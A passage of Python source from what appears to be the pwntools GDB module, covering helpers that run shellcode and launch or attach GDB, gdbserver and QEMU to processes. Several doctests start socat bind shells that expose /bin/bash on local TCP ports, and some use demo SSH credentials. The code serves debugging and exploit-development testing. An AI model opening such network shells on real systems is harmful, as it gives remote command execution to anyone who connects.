run in GDB\n        vma(int): Base address to load the shellcode at\n        api(bool): Enable access to GDB Python API\n        \\**kwargs: Override any :obj:`pwnlib.context.context` values.\n\n    Returns:\n        :class:`.process`\n\n    Example:\n\n    >>> assembly = shellcraft.echo(\"Hello world!\\n\")\n    >>> io = gdb.debug_assembly(assembly)\n    >>> io.recvline()\n    b'Hello world!\\n'\n    \"\"\"\n    tmp_elf = make_elf_from_assembly(asm, vma=vma, extract=False)\n    os.chmod(tmp_elf, 0o777)\n\n    atexit.register(lambda: os.unlink(tmp_elf))\n\n    if context.os == 'android':\n        android_path = '/data/data/%s' % os.path.basename(tmp_elf)\n        adb.push(tmp_elf, android_path)\n        tmp_elf = android_path\n\n    return debug(tmp_elf, gdbscript=gdbscript, arch=context.arch, api=api)\n\n@LocalContext\ndef debug_shellcode(data, gdbscript=None, vma=None, api=False):\n    r\"\"\"debug_shellcode(data, gdbscript=None, vma=None, api=False) -> tube\n    Creates an ELF file, and launches it under a debugger.\n\n    Arguments:\n        data(str): Assembled shellcode bytes\n        gdbscript(str): Script to run in GDB\n        vma(int): Base address to load the shellcode at\n        api(bool): Enable access to GDB Python API\n        \\**kwargs: Override any :obj:`pwnlib.context.context` values.\n\n    Returns:\n        :class:`.process`\n\n    Example:\n\n    >>> assembly = shellcraft.echo(\"Hello world!\\n\")\n    >>> shellcode = asm(assembly)\n    >>> io = gdb.debug_shellcode(shellcode)\n    >>> io.recvline()\n    b'Hello world!\\n'\n    \"\"\"\n    if isinstance(data, str):\n        log.error(\"Shellcode is cannot be unicode.  Did you mean debug_assembly?\")\n    tmp_elf = make_elf(data, extract=False, vma=vma)\n    os.chmod(tmp_elf, 0o777)\n\n    atexit.register(lambda: os.unlink(tmp_elf))\n\n    if context.os == 'android':\n        android_path = '/data/data/%s' % os.path.basename(tmp_elf)\n        adb.push(tmp_elf, android_path)\n        tmp_elf = android_path\n\n    return debug(tmp_elf, gdbscript=gdbscript, arch=context.arch, api=api)\n\ndef _execve_script(argv, executable, env, ssh, preexec_fn, preexec_args):\n    \"\"\"_execve_script(argv, executable, env, ssh, preexec_fn, preexec_args) -> str\n\n    Returns the filename of a python script that calls\n    execve the specified program with the specified arguments.\n    This script is suitable to call with gdbservers ``--wrapper`` option,\n    so we have more control over the environment of the debugged process.\n\n    Arguments:\n        argv(list): List of arguments to pass to the program\n        executable(bytes): Path to the program to run\n        env(dict): Environment variables to pass to the program\n        ssh(ssh): SSH connection to use if we are debugging a remote process\n        preexec_fn(callable): Callable to invoke before exec()\n        preexec_args(tuple): Args to pass to callable\n\n    Returns:\n        The filename of the created script.\n    \"\"\"\n    # Make sure args are bytes not bytearray.\n    argv = [bytes(arg) for arg in argv]\n    executable = packing._encode(executable)\n    if ssh:\n        # ssh.process with run=false creates the script for us\n        return ssh.process(argv, executable=executable, env=env, run=False)\n\n    script = misc._create_execve_script(argv=argv, executable=executable, env=env, log=log, preexec_fn=preexec_fn,\n                                        preexec_args=preexec_args)\n    script = script.strip()\n    # Create a temporary file to hold the script\n    tmp = tempfile.NamedTemporaryFile(mode=\"w+t\",prefix='pwnlib-execve-', suffix='.py', delete=False)\n    tmp.write(script)\n    # Make script executable\n    os.fchmod(tmp.fileno(), 0o755)\n    log.debug(\"Created execve wrapper script %s:\\n%s\", tmp.name, script)\n\n    return tmp.name\n\n\ndef _gdbserver_args(pid=None, path=None, port=0, gdbserver_args=None, args=None, which=None, env=None, python_wrapper_script=None):\n    \"\"\"_gdbserver_args(pid=None, path=None, args=None, which=None, env=None) -> list\n\n    Sets up a listening gdbserver, to either connect to the specified\n    PID, or launch the specified binary by its full path.\n\n    Arguments:\n        pid(int): Process ID to attach to\n        path(str): Process to launch\n        port(int): Port to use for gdbserver, default: random\n        gdbserver_args(list): List of additional arguments to pass to gdbserver\n        args(list): List of arguments to provide on the debugger command line\n        which(callaable): Function to find the path of a binary.\n        env(dict): Environment variables to pass to the program\n        python_wrapper_script(str): Path to a python script to use with ``--wrapper``\n\n    Returns:\n        A list of arguments to invoke gdbserver.\n    \"\"\"\n    if gdbserver_args is None:\n        gdbserver_args = list()\n    elif not isinstance(gdbserver_args, (list, tuple)):\n        gdbserver_args = [gdbserver_args]\n\n    if [pid, path, args].count(None) != 2:\n        log.error(\"Must specify exactly one of pid, path, or args\")\n\n    if not which:\n        log.error(\"Must specify which.\")\n\n    gdbserver = ''\n\n    if not args:\n        args = [str(path or pid)]\n\n    # Android targets have a distinct gdbserver\n    if context.bits == 64:\n        gdbserver = which('gdbserver64')\n\n    if not gdbserver:\n        gdbserver = which('gdbserver')\n\n    if not gdbserver:\n        log.error(\"gdbserver is not installed\")\n\n    orig_args = args\n\n    gdbserver_args = [gdbserver, '--multi'] + gdbserver_args\n    if context.aslr:\n        gdbserver_args += ['--no-disable-randomization']\n    else:\n        log.warn_once(\"Debugging process with ASLR disabled\")\n\n    if pid:\n        gdbserver_args += ['--once', '--attach']\n\n    env_args = []\n    if env is not None:\n        for key in tuple(env):\n            # Special case for LD_ environment variables, so gdbserver\n            # starts with the native libraries\n            if key.startswith(b'LD_'): # LD_PRELOAD / LD_LIBRARY_PATH etc.\n                env_args.append(b'%s=%s' % (key, env.pop(key)))\n            else:\n                env_args.append(b'%s=%s' % (key, env[key]))\n\n    if python_wrapper_script is not None:\n        gdbserver_args += ['--wrapper', python_wrapper_script, '--']\n    elif env is not None:\n        gdbserver_args += ['--wrapper', which('env'), '-i'] + env_args + ['--']\n\n    gdbserver_args += ['localhost:%d' % port]\n    gdbserver_args += args\n\n    return gdbserver_args\n\ndef _gdbserver_port(gdbserver, ssh):\n    which = _get_which(ssh)\n\n    # Process /bin/bash created; pid = 14366\n    # Listening on port 34816\n    process_created = gdbserver.recvline(timeout=3)\n\n    if not process_created:\n        log.error(\n            'No output from gdbserver after 3 seconds. Try setting the SHELL=/bin/sh '\n            'environment variable or using the env={} argument if you are affected by '\n            'https://sourceware.org/bugzilla/show_bug.cgi?id=26116'\n        )\n\n    if process_created.startswith(b'ERROR:'):\n        raise ValueError(\n            'Failed to spawn process under gdbserver. gdbserver error message: %r' % process_created\n        )\n\n    try:\n        gdbserver.pid   = int(process_created.split()[-1], 0)\n    except ValueError:\n        log.error('gdbserver did not output its pid (maybe chmod +x?): %r', process_created)\n\n    listening_on = b''\n    while b'Listening' not in listening_on:\n        listening_on    = gdbserver.recvline()\n\n    port = int(listening_on.split()[-1])\n\n    # Set up port forarding for SSH\n    if ssh:\n        remote   = ssh.connect_remote('127.0.0.1', port)\n        listener = tubes.listen.listen(0)\n        port     = listener.lport\n\n        # Disable showing GDB traffic when debugging verbosity is increased\n        remote.level = 'error'\n        listener.level = 'error'\n\n        # Hook them up\n        remote.connect_both(listener)\n\n    # Set up port forwarding for ADB\n    elif context.os == 'android':\n        adb.forward(port)\n\n    return port\n\ndef _get_which(ssh=None):\n    if ssh:                        return ssh.which\n    elif context.os == 'android':  return adb.which\n    else:                          return misc.which\n\ndef _get_runner(ssh=None):\n    if ssh:                        return ssh.process\n    elif context.os == 'android':  return adb.process\n    else:                          return tubes.process.process\n\n@LocalContext\ndef debug(args, gdbscript=None, gdb_args=None, exe=None, ssh=None, env=None, port=0, gdbserver_args=None, sysroot=None, api=False,\n        preexec_fn=None, preexec_args=(), **kwargs):\n    r\"\"\"\n    Launch a GDB server with the specified command line,\n    and launches GDB to attach to it.\n\n    Arguments:\n        args(list): Arguments to the process, similar to :class:`.process`.\n        gdbscript(str): GDB script to run.\n        gdb_args(list): List of additional arguments to pass to GDB.\n        exe(str): Path to the executable on disk\n        env(dict): Environment to start the binary in\n        ssh(:class:`.ssh`): Remote ssh session to use to launch the process.\n        port(int): Gdb port to use, default: random\n        gdbserver_args(list): List of additional arguments to pass to gdbserver\n        sysroot(str): Set an alternate system root. The system root is used to\n            load absolute shared library symbol files. This is useful to instruct\n            gdb to load a local version of binaries/libraries instead of downloading\n            them from the gdbserver, which is faster\n        api(bool): Enable access to GDB Python API.\n        preexec_fn(callable):\n            Function which is executed on the remote side before execve().\n            This **MUST** be a self-contained function -- it must perform\n            all of its own imports, and cannot refer to variables outside\n            its scope.\n        preexec_args(object):\n            Argument passed to ``preexec_fn``.\n            This **MUST** only consist of native Python objects.\n\n    Returns:\n        :class:`.process` or :class:`.ssh_channel`: A tube connected to the target process.\n        When ``api=True``, ``gdb`` member of the returned object contains a :class:`Gdb`\n        instance.\n\n    Notes:\n\n        The debugger is attached automatically, and you can debug everything\n        from the very beginning.  This requires that both ``gdb`` and ``gdbserver``\n        are installed on your machine.\n\n        When GDB opens via :func:`debug`, it will initially be stopped on the very first\n        instruction of the dynamic linker (``ld.so``) for dynamically-linked binaries.\n\n        Only the target binary and the linker will be loaded in memory, so you cannot\n        set breakpoints on shared library routines like ``malloc`` since ``libc.so``\n        has not even been loaded yet.\n\n        There are several ways to handle this:\n\n        1. Set a breakpoint on the executable's entry point (generally, ``_start``)\n            - This is only invoked after all of the required shared libraries\n              are loaded.\n            - You can generally get the address via the GDB command ``info file``.\n        2. Use pending breakpoints via ``set breakpoint pending on``\n            - This has the side-effect of setting breakpoints for **every** function\n              which matches the name.  For ``malloc``, this will generally set a\n              breakpoint in the executable's PLT, in the linker's internal ``malloc``,\n              and eventaully in ``libc``'s malloc.\n        3. Wait for libraries to be loaded with ``set stop-on-solib-event 1``\n            - There is no way to stop on any specific library being loaded, and sometimes\n              multiple libraries are loaded and only a single breakpoint is issued.\n            - Generally, you just add a few ``continue`` commands until things are set up\n              the way you want it to be.\n\n    Examples:\n\n        Create a new process, and stop it at 'main'\n\n        >>> io = gdb.debug('bash', '''\n        ... break main\n        ... continue\n        ... ''')\n\n        Send a command to Bash\n\n        >>> io.sendline(b\"echo hello\")\n        >>> io.recvline()\n        b'hello\\n'\n\n        Interact with the process\n\n        >>> io.interactive() # doctest: +SKIP\n        >>> io.close()\n\n        Create a new process, and stop it at '_start'\n\n        >>> io = gdb.debug('bash', '''\n        ... # Wait until we hit the main executable's entry point\n        ... break _start\n        ... continue\n        ...\n        ... # Now set breakpoint on shared library routines\n        ... break malloc\n        ... break free\n        ... continue\n        ... ''')\n\n        Send a command to Bash\n\n        >>> io.sendline(b\"echo hello\")\n        >>> io.recvline()\n        b'hello\\n'\n\n        Interact with the process\n\n        >>> io.interactive() # doctest: +SKIP\n        >>> io.close()\n\n        Start a new process with modified argv[0]\n\n        >>> io = gdb.debug(args=[b'\\xde\\xad\\xbe\\xef'], gdbscript='continue', exe=\"/bin/sh\")\n        >>> io.sendline(b\"echo $0\")\n        >>> io.recvline()\n        b'\\xde\\xad\\xbe\\xef\\n'\n        >>> io.close()\n\n        Demonstrate that LD_PRELOAD is respected\n\n        >>> io = process([\"grep\", \"libc.so.6\", \"/proc/self/maps\"])\n        >>> real_libc_path = io.recvline().split()[-1]\n        >>> io.close()\n        >>> import shutil\n        >>> local_path = shutil.copy(real_libc_path, \"./local-libc.so\") # make a copy of libc to demonstrate that it is loaded\n        >>> io = gdb.debug([\"grep\", \"local-libc.so\", \"/proc/self/maps\"], gdbscript=\"continue\", env={\"LD_PRELOAD\": \"./local-libc.so\"})\n        >>> io.recvline().split()[-1] # doctest: +ELLIPSIS\n        b'.../local-libc.so'\n        >>> io.close()\n        >>> os.remove(\"./local-libc.so\") # cleanup\n\n        Use preexec_fn\n\n        >>> def dup2(from_, to):\n        ...    import os\n        ...    os.dup2(from_, to)\n        >>> p = gdb.debug(['python','-c','import os; print(os.read(2,1024).decode())'],\n        ...             preexec_fn=dup2, preexec_args=(0,2))\n        >>> p.sendline(b'hello')\n        >>> p.recvline()\n        b'hello\\n'\n\n\n    Using SSH:\n\n        You can use :func:`debug` to spawn new processes on remote machines as well,\n        by using the ``ssh=`` keyword to pass in your :class:`.ssh` instance.\n\n        Connect to the SSH server and start a process on the server\n\n        >>> shell = ssh('travis', 'example.pwnme', password='demopass')\n        >>> io = gdb.debug(['whoami'],\n        ...                 ssh = shell,\n        ...                 gdbscript = '''\n        ... break main\n        ... continue\n        ... ''')\n\n        Send a command to Bash\n\n        >>> io.sendline(b\"echo hello\")\n\n        Interact with the process\n\n        >>> io.interactive() # doctest: +SKIP\n        >>> io.close()\n\n        Using a modified args[0] on a remote process\n\n        >>> io = gdb.debug(args=[b'\\xde\\xad\\xbe\\xef'], gdbscript='continue', exe=\"/bin/sh\", ssh=shell)\n        >>> io.sendline(b\"echo $0\")\n        >>> io.recvline()\n        b'$ \\xde\\xad\\xbe\\xef\\n'\n        >>> io.close()\n\n        Using an empty args[0] on a remote process\n\n        >>> io = gdb.debug(args=[], gdbscript='continue', exe=\"/bin/sh\", ssh=shell)\n        >>> io.sendline(b\"echo $0\")\n        >>> io.recvline()\n        b'$ \\n'\n        >>> io.close()\n\n\n    Using GDB Python API:\n\n        Debug a new process\n\n        >>> io = gdb.debug(['echo', 'foo'], api=True)\n\n        or using ssh\n\n        >>> shell = ssh('travis', 'example.pwnme', password='demopass')\n        >>> ssh_io = gdb.debug(['/bin/echo', 'foo'], ssh=shell, api=True)\n\n        Stop at 'write'\n\n        >>> bp = io.gdb.Breakpoint('write', temporary=True)\n        >>> io.gdb.continue_and_wait()\n        >>> ssh_bp = ssh_io.gdb.Breakpoint('write', temporary=True)\n        >>> ssh_io.gdb.continue_and_wait()\n\n        Dump 'count'\n\n        >>> count = io.gdb.parse_and_eval('$rdx')\n        >>> long = io.gdb.lookup_type('long')\n        >>> int(count.cast(long))\n        4\n        >>> count = ssh_io.gdb.parse_and_eval('$rdx')\n        >>> long = ssh_io.gdb.lookup_type('long')\n        >>> int(count.cast(long))\n        4\n\n        Resume the program\n\n        >>> io.gdb.continue_nowait()\n        >>> io.recvline()\n        b'foo\\n'\n        >>> io.close()\n\n        >>> ssh_io.gdb.continue_nowait()\n        >>> ssh_io.recvline()\n        b'foo\\n'\n        >>> ssh_io.close()\n        >>> shell.close()\n    \"\"\"\n    if isinstance(args, (int, tubes.process.process, tubes.ssh.ssh_channel)):\n        log.error(\"Use gdb.attach() to debug a running process\")\n\n    if isinstance(args, (bytes, str)):\n        args = [args]\n\n    orig_args = args\n\n    runner = _get_runner(ssh)\n    which  = _get_which(ssh)\n    gdbscript = gdbscript or ''\n\n    if api and runner is not tubes.process.process and not ssh:\n        raise ValueError('GDB Python API is supported only for local and ssh processes')\n\n    args, env = misc.normalize_argv_env(args, env, log)\n    if env:\n        env = {bytes(k): bytes(v) for k, v in env}\n\n    exe = which(packing._decode(exe or args[0]))\n    if not exe:\n        log.error(\"Could not find executable %r\" % exe)\n\n    if context.noptrace:\n        log.warn_once(\"Skipping debugger since context.noptrace==True\")\n        return runner(args, executable=exe, env=env)\n\n    if ssh or context.native or (context.os == 'android'):\n        if len(args) > 0 and which(packing._decode(args[0])) == packing._decode(exe) and preexec_fn is None:\n            args = _gdbserver_args(gdbserver_args=gdbserver_args, args=args, port=port, which=which, env=env)\n\n        else:\n            # GDBServer is limited in it's ability to manipulate argv[0]\n            # but can use the ``--wrapper`` option to execute commands and catches\n            # ``execve`` calls.\n            # Therefore, we use a wrapper script to execute the target binary\n            script = _execve_script(args, executable=exe, env=env, ssh=ssh, preexec_fn=preexec_fn, preexec_args=preexec_args)\n            args = _gdbserver_args(gdbserver_args=gdbserver_args, args=args, port=port, which=which, env=env, python_wrapper_script=script)\n    else:\n        qemu_port = port if port != 0 else random.randint(1024, 65535)\n        qemu_user = qemu.user_path()\n        sysroot = sysroot or qemu.ld_prefix(env=env)\n        if not qemu_user:\n            log.error(\"Cannot debug %s binaries without appropriate QEMU binaries\" % context.arch)\n        if context.os == 'baremetal':\n            qemu_args = [qemu_user, '-S', '-gdb', 'tcp::' + str(qemu_port)]\n        else:\n            qemu_args = [qemu_user, '-g', str(qemu_port)]\n        if sysroot:\n            qemu_args += ['-L', sysroot]\n        args = qemu_args + args\n\n    # Use a sane default sysroot for Android\n    if not sysroot and context.os == 'android':\n        sysroot = 'remote:/'\n\n    # Make sure gdbserver/qemu is installed\n    if not which(args[0]):\n        log.error(\"%s is not installed\" % args[0])\n\n\n    # Start gdbserver/qemu\n    # (Note: We override ASLR here for the gdbserver process itself.)\n    gdbserver = runner(args, env=env, aslr=1, **kwargs)\n\n    # Set the .executable on the process object.\n    gdbserver.executable = exe\n\n    if ssh or context.native or (context.os == 'android'):\n        gdb_port =  _gdbserver_port(gdbserver, ssh)\n        if port != 0 and port != gdb_port:\n            log.error(\"gdbserver port (%d) doesn't equals set port (%d)\" % (gdb_port, port))\n        port = gdb_port\n    else:\n        port = qemu_port\n\n    host = '127.0.0.1'\n    if not ssh and context.os == 'android':\n        host = context.adb_host\n\n    tmp = attach((host, port), exe=exe, gdbscript=gdbscript, gdb_args=gdb_args, ssh=ssh, sysroot=sysroot, api=api)\n    if api:\n        _, gdb = tmp\n        gdbserver.gdb = gdb\n\n    # gdbserver outputs a message when a client connects\n    garbage = gdbserver.recvline(timeout=1)\n    # Some versions of gdbserver output an additional message\n    message = b\"Remote debugging from host \"\n    if not garbage.startswith(message):\n        try:\n            garbage2 = gdbserver.recvline_startswith(message, timeout=2)\n        except EOFError:\n            pass\n\n    return gdbserver\n\ndef get_gdb_arch():\n    return {\n        'amd64': 'i386:x86-64',\n        'powerpc': 'powerpc:common',\n        'powerpc64': 'powerpc:common64',\n        'mips64': 'mips:isa64',\n        'thumb': 'arm',\n        'sparc64': 'sparc:v9',\n        'riscv32': 'riscv:rv32',\n        'riscv64': 'riscv:rv64',\n        'loongarch64': 'Loongarch64',\n    }.get(context.arch, context.arch)\n\ndef binary():\n    \"\"\"binary() -> str\n\n    Returns:\n        str: Path to the appropriate ``gdb`` binary to use.\n\n    Example:\n\n        >>> gdb.binary() # doctest: +SKIP\n        '/usr/bin/gdb'\n    \"\"\"\n    if context.gdb_binary:\n        gdb = misc.which(context.gdb_binary)\n        if not gdb:\n            log.warn_once('Path to gdb binary `{}` not found'.format(context.gdb_binary))\n        return gdb\n\n    gdb = misc.which('pwntools-gdb') or misc.which('gdb')\n\n    if not context.native:\n        multiarch = misc.which('gdb-multiarch')\n\n        if multiarch:\n            return multiarch\n        log.warn_once('Cross-architecture debugging usually requires gdb-multiarch\\n'\n                      '$ apt-get install gdb-multiarch')\n\n    if not gdb:\n        log.error('GDB is not installed\\n'\n                  '$ apt-get install gdb')\n\n    return gdb\n\nclass Breakpoint:\n    \"\"\"Mirror of ``gdb.Breakpoint`` class.\n\n    See https://sourceware.org/gdb/onlinedocs/gdb/Breakpoints-In-Python.html\n    for more information.\n    \"\"\"\n\n    def __init__(self, conn, *args, **kwargs):\n        \"\"\"Do not create instances of this class directly.\n\n        Use ``pwnlib.gdb.Gdb.Breakpoint`` instead.\n        \"\"\"\n        # Creates a real breakpoint and connects it with this mirror\n        self.conn = conn\n        self.server_breakpoint = self._server_set_breakpoint(*args, **kwargs)\n\n    def _server_set_breakpoint(self, *args, **kwargs):\n        return self.conn.root.set_breakpoint(\n            self, hasattr(self, 'stop'), *args, **kwargs)\n\n    def __getattr__(self, item):\n        \"\"\"Return attributes of the real breakpoint.\"\"\"\n        if item in (\n                '____id_pack__',\n                '__name__',\n                '____conn__',\n                'stop',\n        ):\n            # Ignore RPyC netref attributes.\n            # Also, if stop() is not defined, hasattr() call in our\n            # __init__() will bring us here. Don't contact the\n            # server in this case either.\n            raise AttributeError()\n        return getattr(self.server_breakpoint, item)\n\n    def __setattr__(self, name, value):\n        \"\"\"Set attributes of the real breakpoint.\"\"\"\n        if name in (\n            'enabled',\n            'silent',\n            'thread',\n            'task',\n            'ignore_count',\n            'hit_count'\n            'condition',\n            'commands',\n        ):\n            return setattr(self.server_breakpoint, name, value)\n        return super().__setattr__(name, value)\n\n    def exposed_stop(self):\n        # Handle stop() call from the server.\n        return self.stop()\n\nclass FinishBreakpoint(Breakpoint):\n    \"\"\"Mirror of ``gdb.FinishBreakpoint`` class.\n\n    See https://sourceware.org/gdb/onlinedocs/gdb/Finish-Breakpoints-in-Python.html\n    for more information.\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"Do not create instances of this class directly.\n\n        Use ``pwnlib.gdb.Gdb.FinishBreakpoint`` instead.\n        \"\"\"\n        # See https://github.com/pylint-dev/pylint/issues/4228\n        # pylint: disable=useless-super-delegation\n        super().__init__(*args, **kwargs)\n\n    def _server_set_breakpoint(self, *args, **kwargs):\n        return self.conn.root.set_finish_breakpoint(\n            self, hasattr(self, 'stop'), hasattr(self, 'out_of_scope'),\n            *args, **kwargs)\n\n    def __getattr__(self, item):\n        \"\"\"Return attributes of the real breakpoint.\"\"\"\n        if item in (\n                '____id_pack__',\n                '__name__',\n                '____conn__',\n                'stop',\n                'out_of_scope',\n        ):\n            # Ignore RPyC netref attributes.\n            # Also, if stop() or out_of_scope() are not defined, hasattr() call\n            # in our __init__() will bring us here. Don't contact the\n            # server in this case either.\n            raise AttributeError()\n        return getattr(self.server_breakpoint, item)\n\n    def exposed_out_of_scope(self):\n        # Handle out_of_scope() call from the server.\n        return self.out_of_scope()\n\nclass Gdb:\n    \"\"\"Mirror of ``gdb`` module.\n\n    See https://sourceware.org/gdb/onlinedocs/gdb/Basic-Python.html for more\n    information.\n    \"\"\"\n\n    def __init__(self, conn):\n        \"\"\"Do not create instances of this class directly.\n\n        Use :func:`attach` or :func:`debug` with ``api=True`` instead.\n        \"\"\"\n        self.conn = conn\n\n        class _Breakpoint(Breakpoint):\n            def __init__(self, *args, **kwargs):\n                super().__init__(conn, *args, **kwargs)\n        class _FinishBreakpoint(FinishBreakpoint):\n            def __init__(self, *args, **kwargs):\n                super().__init__(conn, *args, **kwargs)\n\n        self.Breakpoint = _Breakpoint\n        self.FinishBreakpoint = _FinishBreakpoint\n        self.stopped = Event()\n\n        def stop_handler(event):\n            self.stopped.set()\n\n        self.events.stop.connect(stop_handler)\n\n    def __getattr__(self, item):\n        \"\"\"Provide access to the attributes of `gdb` module.\"\"\"\n        return getattr(self.conn.root.gdb, item)\n\n    def wait(self):\n        \"\"\"Wait until the program stops.\"\"\"\n        self.stopped.wait()\n        self.stopped.clear()\n\n    def interrupt_and_wait(self):\n        \"\"\"Interrupt the program and wait until it stops.\"\"\"\n        self.execute('interrupt')\n        self.wait()\n\n    def continue_nowait(self):\n        \"\"\"Continue the program. Do not wait until it stops again.\"\"\"\n        self.execute('continue &')\n\n    def continue_and_wait(self):\n        \"\"\"Continue the program and wait until it stops again.\"\"\"\n        self.continue_nowait()\n        self.wait()\n\n    def quit(self):\n        \"\"\"Terminate GDB.\"\"\"\n        self.conn.root.quit()\n\n@LocalContext\ndef attach(target, gdbscript = '', exe = None, gdb_args = None, ssh = None, sysroot = None, api = False):\n    r\"\"\"\n    Start GDB in a new terminal and attach to `target`.\n\n    Arguments:\n        target: The target to attach to.\n        gdbscript(:obj:`str` or :obj:`file`): GDB script to run after attaching.\n        exe(str): The path of the target binary.\n        arch(str): Architechture of the target binary.  If `exe` known GDB will\n          detect the architechture automatically (if it is supported).\n        gdb_args(list): List of additional arguments to pass to GDB.\n        sysroot(str): Set an alternate system root. The system root is used to\n            load absolute shared library symbol files. This is useful to instruct\n            gdb to load a local version of binaries/libraries instead of downloading\n            them from the gdbserver, which is faster\n        api(bool): Enable access to GDB Python API.\n\n    Returns:\n        PID of the GDB process (or the window which it is running in).\n        When ``api=True``, a (PID, :class:`Gdb`) tuple.\n\n    Notes:\n\n        The ``target`` argument is very robust, and can be any of the following:\n\n        :obj:`int`\n            PID of a process\n        :obj:`str`\n            Process name.  The youngest process is selected.\n        :obj:`tuple`\n            Host, port pair of a listening ``gdbserver``\n            Tries to look up the target exe from the ``gdbserver`` commandline,\n            requires explicit ``exe`` argument if the target exe is not in the commandline.\n        :class:`.process`\n            Process to connect to\n        :class:`.sock`\n            Connected socket. The executable on the other end of the connection is attached to.\n            Can be any socket type, including :class:`.listen` or :class:`.remote`.\n        :class:`.ssh_channel`\n            Remote process spawned via :meth:`.ssh.process`.\n            **This will use the GDB installed on the remote machine.**\n            If a password is required to connect, the ``sshpass`` program must be installed.\n\n    Examples:\n\n        Attach to a process by PID\n\n        >>> pid = gdb.attach(1234) # doctest: +SKIP\n\n        Attach to the youngest process by name\n\n        >>> pid = gdb.attach('bash') # doctest: +SKIP\n\n        Attach a debugger to a :class:`.process` tube and automate interaction\n\n        >>> io = process('bash')\n        >>> pid = gdb.attach(io, gdbscript='''\n        ... call puts(\"Hello from process debugger!\")\n        ... detach\n        ... quit\n        ... ''')\n        >>> io.recvline()\n        b'Hello from process debugger!\\n'\n        >>> io.sendline(b'echo Hello from bash && exit')\n        >>> io.recvall()\n        b'Hello from bash\\n'\n\n        Using GDB Python API:\n\n            >>> io = process('bash')\n\n            Attach a debugger\n\n            >>> pid, io_gdb = gdb.attach(io, api=True)\n\n            Force the program to write something it normally wouldn't\n\n            >>> io_gdb.execute('call puts(\"Hello from process debugger!\")')\n\n            Resume the program\n\n            >>> io_gdb.continue_nowait()\n\n            Observe the forced line\n\n            >>> io.recvline()\n            b'Hello from process debugger!\\n'\n\n            Interact with the program in a regular way\n\n            >>> io.sendline(b'echo Hello from bash && exit')\n\n            Observe the results\n\n            >>> io.recvall()\n            b'Hello from bash\\n'\n\n        Attach to the remote process from a :class:`.remote` or :class:`.listen` tube,\n        as long as it is running on the same machine.\n\n        >>> server = process(['socat', 'tcp-listen:12345,reuseaddr,fork', 'exec:/bin/bash,nofork'])\n        >>> sleep(1) # Wait for socat to start\n        >>> io = remote('127.0.0.1', 12345)\n        >>> sleep(1) # Wait for process to fork\n        >>> pid = gdb.attach(io, gdbscript='''\n        ... call puts(\"Hello from remote debugger!\")\n        ... detach\n        ... quit\n        ... ''')\n        >>> io.recvline()\n        b'Hello from remote debugger!\\n'\n        >>> io.sendline(b'echo Hello from bash && exit')\n        >>> io.recvall()\n        b'Hello from bash\\n'\n        >>> server.close()\n\n        Attach to a gdbserver / gdbstub running on the local machine\n        by specifying the host and port tuple it is listening on.\n        (gdbserver always listens on 0.0.0.0)\n\n        >>> gdbserver = process(['gdbserver', '1.2.3.4:12345', '/bin/bash'])\n        >>> gdbserver.recvline_contains(b'Listening on port', timeout=10)\n        b'Listening on port 12345'\n        >>> pid = gdb.attach(('0.0.0.0', 12345), gdbscript='''\n        ... tbreak main\n        ... commands\n        ... call puts(\"Hello from gdbserver debugger!\")\n        ... continue\n        ... end\n        ... ''')\n        >>> gdbserver.recvline(timeout=10)  # doctest: +ELLIPSIS\n        b'Remote debugging from host 127.0.0.1, ...\\n'\n        >>> gdbserver.recvline(timeout=10)\n        b'Hello from gdbserver debugger!\\n'\n        >>> gdbserver.sendline(b'echo Hello from bash && exit')\n        >>> gdbserver.recvline(timeout=10)\n        b'Hello from bash\\n'\n        >>> gdbserver.close()\n\n        Attach to processes running on a remote machine via an SSH :class:`.ssh` process\n\n        >>> shell = ssh('travis', 'example.pwnme', password='demopass')\n        >>> io = shell.process(['cat'])\n        >>> pid = gdb.attach(io, gdbscript='''\n        ... call sleep(5)\n        ... call puts(\"Hello from ssh debugger!\")\n        ... detach\n        ... quit\n        ... ''')\n        >>> io.recvline(timeout=5)  # doctest: +SKIP\n        b'Hello from ssh debugger!\\n'\n        >>> io.sendline(b'This will be echoed back')\n        >>> io.recvline()\n        b'This will be echoed back\\n'\n        >>> io.close()\n\n        To attach to remote gdbserver, assume you have a socat server delivering gdbserver\n        with ``socat TCP-LISTEN:1336,reuseaddr,fork 'EXEC:\"gdbserver :1337 /bin/bash\"'``,\n        then you can connect to gdbserver and attach to it by:\n        (When connection with gdbserver established, ``/bin/bash`` will pause at ``_start``,\n        waiting for our gdb to attach.)\n\n        A typical case is a sample can't run locally as some dependencies is missing,\n        so this sample is provided by remote server or docker.\n\n        >>> with context.local(log_level='warning'):\n        ...     server = process(['socat', 'TCP-LISTEN:1336,reuseaddr,fork', 'EXEC:\"gdbserver :1337 /bin/bash\"'])\n        ...     sleep(1) # wait for socat to bind\n        ...     io = remote('127.0.0.1', 1336)\n        ...     _ = gdb.attach(('127.0.0.1', 1337), 'c', '/bin/bash')\n        ...     io.sendline(b'echo Hello')\n        ...     io.recvline()\n        ...     io.close()\n        ...     server.close()\n        b'Hello\\n'\n    \"\"\"\n    if context.noptrace:\n        log.warn_once(\"Skipping debug attach since context.noptrace==True\")\n        return\n\n    # if gdbscript is a file object, then read it; we probably need to run some\n    # more gdb script anyway\n    if hasattr(gdbscript, 'read'):\n        with gdbscript:\n            gdbscript = gdbscript.read()\n\n    # enable gdb.attach(p, 'continue')\n    if gdbscript and not gdbscript.endswith('\\n'):\n        gdbscript += '\\n'\n\n    # Use a sane default sysroot for Android\n    if not sysroot and context.os == 'android':\n        sysroot = 'remote:/'\n\n    # gdb script to run before `gdbscript`\n    pre = ''\n    if sysroot:\n        pre += 'set sysroot %s\\n' % sysroot\n    if not context.native:\n        pre += 'set endian %s\\n' % context.endian\n        pre += 'set architecture %s\\n' % get_gdb_arch()\n\n        if context.os == 'android':\n            pre += 'set gnutarget ' + _bfdname() + '\\n'\n\n        if exe and context.os != 'baremetal':\n            pre += 'file \"%s\"\\n' % exe\n\n    # let's see if we can find a pid to attach to\n    pid = None\n    if   isinstance(target, int):\n        # target is a pid, easy peasy\n        pid = target\n    elif isinstance(target, str):\n        # pidof picks the youngest process\n        pidof = proc.pidof\n\n        if context.os == 'android':\n            pidof = adb.pidof\n\n        pids = list(pidof(target))\n        if not pids:\n            log.error('No such process: %s', target)\n        pid = pids[0]\n        log.info('Attaching to youngest process \"%s\" (PID = %d)' %\n                 (target, pid))\n    elif isinstance(target, tubes.ssh.ssh_channel):\n        if not target.pid:\n            log.error(\"PID unknown for channel\")\n\n        shell = target.parent\n\n        tmpfile = shell.mktemp()\n        gdbscript = b'shell rm %s\\n%s' % (tmpfile, 